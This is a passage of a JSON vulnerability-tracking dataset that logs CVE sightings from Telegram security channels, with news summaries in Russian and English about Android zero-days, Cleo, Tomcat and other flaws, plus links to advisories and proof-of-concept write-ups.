\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 43 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Android \u0437\u0430 \u043c\u0430\u0440\u0442 2025 \u0433\u043e\u0434\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 0-day, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-50302 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u044f\u0434\u0440\u0430 Linux, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0435\u0440\u0431\u0438\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0437\u044a\u044f\u0442\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u043e\u0431\u044b\u0441\u043a\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f Android, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0439 \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0438 Cellebrite.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 0-day (CVE-2024-53104), \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Amnesty International \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2024 \u0433\u043e\u0434\u0430 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043b\u043e\u0433\u043e\u0432, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432 \u0421\u0435\u0440\u0431\u0438\u0438.\n\nGoogle \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0431\u044b\u043b\u0430 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0440\u0438\u0441\u043a\u0430\u043c\u0438 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0435\u0449\u0435 \u0434\u043e \u043e\u0442\u0447\u0435\u0442\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043d\u0430\u0434 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f Android, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b OEM-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u0430\u043c \u0432 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u043e\u0442 18 \u044f\u043d\u0432\u0430\u0440\u044f.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f 0-day (CVE-2024-43093) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Android Framework, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 Unicode, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f \u043e\u0431\u0445\u043e\u0434 \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0443 \u0431\u0435\u0437\u00a0\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nGoogle \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0434\u0432\u0430 \u043d\u0430\u0431\u043e\u0440\u0430: \u0443\u0440\u043e\u0432\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 2025-03-01 \u0438\u00a02025-03-01.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432\u0441\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u0430\u0440\u0442\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u043e\u0434\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0435 \u043a\u043e \u0432\u0441\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c Android.", "creation_timestamp": "2025-03-04T19:58:29.000000Z"}, {"uuid": "cef1f1a7-5d92-41eb-becd-66d076c84679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50337", "type": "seen", "source": "https://t.me/ZerodayAlert/435", "content": "", "creation_timestamp": "2026-07-25T15:00:17.230813Z"}, {"uuid": "f62cee34-e592-4763-85b1-14f5f6b61e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/ZerodayAlert/438", "content": "", "creation_timestamp": "2026-07-25T15:00:17.092879Z"}, {"uuid": "f3802251-fb90-4518-b3be-e355839bd9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/ZerodayAlert/550", "content": "", "creation_timestamp": "2026-07-25T15:00:12.227748Z"}, {"uuid": "f07ae6f2-a883-4923-b665-154ab324b0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5082", "type": "seen", "source": "https://t.me/GithubRedTeam/93536", "content": "", "creation_timestamp": "2026-07-16T12:00:05.913236Z"}, {"uuid": "951ceace-3488-4e78-88b3-c52c392616e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50386", "type": "seen", "source": "https://t.me/CyberBulletin/26405", "content": "\u26a1\ufe0fApache CloudStack Releases Security Update for KVM Infrastructure Vulnerability \u2013 CVE-2024-50386.\n\n#CyberBulletin", "creation_timestamp": "2024-11-13T07:54:11.000000Z"}, {"uuid": "c2922ed3-2158-4036-abcf-2d3ea85ce2d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5027", "type": "seen", "source": "https://t.me/theninjaway1337/1639", "content": "Citrix Workspace app Let Attackers Elevate Privileges From Local User to Root User\n\nA critical security vulnerability has been identified in the Citrix Workspace app for Mac, potentially allowing attackers to elevate their privileges from a local authenticated user to a root user.\n\nThis vulnerability tracked as CVE-2024-5027, poses a significant risk to users and organizations relying on Citrix Workspace for their virtual app and desktop access needs.\n\nThe vulnerability affects the\u00a0Citrix Workspace\u00a0app for Mac versions before 2402.10. If exploited, it allows a local authenticated user to gain root-level access to the system.\n\nThis elevation of privilege could enable the attacker to execute arbitrary commands with the highest level of system privileges, potentially leading to severe security breaches, data loss, or system compromise.\n\nhttps://cybersecuritynews.com/citrix-workspace-app-vulnerability/", "creation_timestamp": "2024-06-01T22:07:36.000000Z"}, {"uuid": "8c60f0da-1afa-4101-ad5d-d401627404ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/thehackernews/6016", "content": "A critical vulnerability (CVE-2024-50623) in Cleo's file transfer software is under active, widespread exploitation\u2014affecting fully patched systems. \n \nThe flaw allows unauthenticated remote code execution through unrestricted file uploads, enabling attackers to execute arbitrary code. \n \nOver 4,200 organizations use Cleo software globally\u2014this is a major security concern for logistics, consumer products, and more. \n \nGet critical insights: https://thehackernews.com/2024/12/cleo-file-transfer-vulnerability-under.html", "creation_timestamp": "2024-12-10T17:04:30.000000Z"}, {"uuid": "04035e3d-e1f3-43f0-adf9-4bac4183276e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/thehackernews/5812", "content": "High-severity CVE-2024-50550 #vulnerability in LiteSpeed Cache plugin allows unauthorized access, highlighting critical security implications for WordPress users. \n \nRead: https://thehackernews.com/2024/10/litespeed-cache-plugin-vulnerability.html", "creation_timestamp": "2024-10-31T11:28:26.000000Z"}, {"uuid": "f7e8174a-63e6-4dd2-bd91-bebd0b4c34c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/thehackernews/6084", "content": "\u26a1 A new remote code execution flaw in Apache Tomcat (CVE-2024-56337) exposes organizations to serious risk.\n\nAn uploaded file could turn into malicious JSP code\u2014resulting in remote code execution.\n\n\u00bb Affected Versions: Tomcat 9.0.0-M1 to 11.0.1\n\u00bb Java users: Incorrect configurations = higher risk.\n\u00bb Severity? CVE-2024-50379 scored a 9.8 on CVSS!\n\nDetails here \ud83d\udc49 https://thehackernews.com/2024/12/apache-tomcat-vulnerability-cve-2024.html", "creation_timestamp": "2024-12-24T07:10:43.000000Z"}, {"uuid": "cce810e3-7169-4f78-b6d5-2fb4cbda849b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "https://t.me/thehackernews/6235", "content": "\ud83d\udea8 Alert \u2014 GitHub Desktop & GitHub projects have critical vulnerabilities that can expose your credentials to attackers.\n\n\ud83d\udd11 CVE-2024-53263 \u2013 Git LFS leaks credentials via crafted URLs.\n\u26a1 CVE-2024-50338 \u2013 GitHub CLI sends tokens to attacker-controlled hosts.\n\nAttackers can use this to gain unauthorized access to your private repositories.\n\n\ud83d\udd17 Read full details: https://thehackernews.com/2025/01/github-desktop-vulnerability-risks.html", "creation_timestamp": "2025-01-27T15:21:54.000000Z"}, {"uuid": "4433f864-0e8f-4c9d-a955-dbf9e1b96402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://t.me/thehackernews/6430", "content": "\u26a0\ufe0f Google\u2019s March 2025 Android Security Bulletin warns of 44 vulnerabilities, including two actively exploited flaws: CVE-2024-43093 and CVE-2024-50302, with one tied to a zero-day attack on activists.\n\nGet the full details: https://thehackernews.com/2025/03/googles-march-2025-android-security.html", "creation_timestamp": "2025-03-04T05:09:51.000000Z"}, {"uuid": "9c46408f-a820-45c4-bdba-dbab39aaf7a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/xakep_ru/16947", "content": "\u0411\u0430\u0433 \u0432 Aviatrix Controller \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432 \u0438 \u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 (CVE-2024-50603) \u0432 Aviatrix Controller \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432 \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0445 \u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432.\n\nhttps://xakep.ru/2025/01/14/aviatrix-controller-attacks/", "creation_timestamp": "2025-01-14T17:38:08.000000Z"}, {"uuid": "39953f61-31c9-4650-b7c6-20c073b96f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9433", "content": "Cleo Harmony, VLTrader, and LexiCom - RCE via Arbitrary File Write (CVE-2024-50623)\n\nhttps://labs.watchtowr.com/cleo-cve-2024-50623/", "creation_timestamp": "2024-12-12T11:56:54.000000Z"}, {"uuid": "ac89c589-92fd-47ce-b2dc-df27d8ae06f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9561", "content": "CVE-2024-50050: Critical Vulnerability in meta-llama/llama-stack | Oligo Security\n\nhttps://www.oligo.security/blog/cve-2024-50050-critical-vulnerability-in-meta-llama-llama-stack", "creation_timestamp": "2025-01-23T15:45:06.000000Z"}, {"uuid": "9184acca-ae5c-41d1-8946-681e02ebbd5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/CyberBulletin/26846", "content": "\u26a1\ufe0fRCE and DoS Vulnerabilities Addressed in Apache Tomcat: CVE-2024-50379 and CVE-2024-54677.\n\n#CyberBulletin", "creation_timestamp": "2024-12-18T12:14:46.000000Z"}, {"uuid": "dd1c172d-ba9c-4c5a-bb54-a6682bcb9c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://t.me/CyberBulletin/26772", "content": "\u26a1\ufe0fModular Java Backdoor Emerges in Cleo Exploitation Campaign (CVE-2024-50623) \n\n#CyberBulletin", "creation_timestamp": "2024-12-13T12:45:07.000000Z"}, {"uuid": "e98ecdff-906b-43a3-a992-40dd5c3dc2e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/CyberBulletin/26924", "content": "\u26a1\ufe0fDeep Dive & POC of CVE-2024-50379 Exploit Tomcat Vulnerability (9.8 Severity).\n\n#CyberBulletin", "creation_timestamp": "2024-12-27T01:03:13.000000Z"}, {"uuid": "af58f658-d5d7-429b-a348-98d91511a062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://t.me/Russian_OSINT/5421", "content": "\u041a\u0430\u043d\u0430\u043b \ud83d\udd28SecAtor \u2014 @true_secator \u043f\u0438\u0448\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435:\n\nGoogle \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 62 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Android \u0437\u0430 \u0430\u043f\u0440\u0435\u043b\u044c 2025 \u0433\u043e\u0434\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 0-day, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0434\u0438\u043d \u0438\u0437 \u043d\u0443\u043b\u0435\u0439 - \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0440\u0438\u0441\u043a\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 EoP (CVE-2024-53197) \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 USB-audio \u044f\u0434\u0440\u0430 Linux \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 ALSA.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0435\u0440\u0431\u0438\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0437\u044a\u044f\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Android \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0439 \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u043e\u0439 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0438 Cellebrite.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f USB Video Class (CVE-2024-53104), \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435, \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 0-day Human Interface Devices (CVE-2024-50302), \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0432 \u043c\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 EoP (CVE-2024\u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2024 \u0433\u043e\u0434\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0431\u0441\u043a\u043e\u0439 \u043f\u043e\u043b\u0438\u0446\u0438\u0435\u0439.\n\n\u0412 \u044f\u043d\u0432\u0430\u0440\u0435 Google \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f OEM-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u0430\u043c.\u00a0\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 0-day \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-53150 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u044f\u0434\u0440\u0430 Android, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0447\u0442\u0435\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a 